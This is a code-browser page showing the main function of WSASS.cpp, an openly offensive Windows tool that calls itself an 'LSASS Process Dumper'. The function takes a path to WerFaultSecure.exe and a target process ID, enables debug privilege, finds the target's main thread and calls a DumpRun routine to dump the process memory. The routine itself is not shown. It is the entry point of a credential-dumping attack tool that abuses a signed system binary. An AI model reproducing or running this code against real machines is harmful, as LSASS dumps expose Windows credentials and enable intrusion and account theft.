MCPcopy Create free account
hub / github.com/TwoSevenOneT/WSASS / wmain

Function wmain

WSASS.cpp:306–353  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

304}
305
306int wmain(int argc, wchar_t* argv[])
307{
308 if (argc != 3)
309 {
310 std::wcout << L"Usage:\n"
311 << L" WSASS.exe <PathToWerFaultSecure.exe> <TargetPID>\n\n"
312 << L"Example:\n"
313 << L" WSASS.exe \"C:\\Windows\\System32\\WerFaultSecure.exe\" 1234\n";
314 return 0;
315 }
316 std::wcout << L"\nLSASS Process Dumper\n"
317 << L" Two Seven One Three: x.com/TwoSevenOneT\n"
318 << L"==================================================\n\n";
319 // Parse arguments
320 std::wstring werPath = argv[1];
321 DWORD targetPid = _wtoi(argv[2]);
322 if (targetPid == 0)
323 {
324 std::wcerr << L"Invalid PID: " << argv[2] << L"\n";
325 return 0;
326 }
327 //
328 if (!EnableDebugPrivilege())
329 {
330 std::wcerr << L"Failed to enable debug privilege.\n";
331 return 0;
332 }
333
334 // Get main thread ID
335 DWORD targetTid = GetMainThreadId(targetPid);
336 if (targetTid == 0)
337 {
338 std::wcerr << L"Failed to find main thread for PID " << targetPid << L"\n";
339 return 0;
340 }
341 if (DumpRun(werPath, targetPid, targetTid) == 0)
342 {
343 std::cerr << "Process dump failed" << std::endl;
344 }
345 else
346 {
347 std::wcout << L"Process dump successfully" << std::endl;
348 }
349
350 return 1;
351}

Callers

nothing calls this directly

Calls 3

EnableDebugPrivilegeFunction · 0.85
GetMainThreadIdFunction · 0.85
DumpRunFunction · 0.85

Tested by

no test coverage detected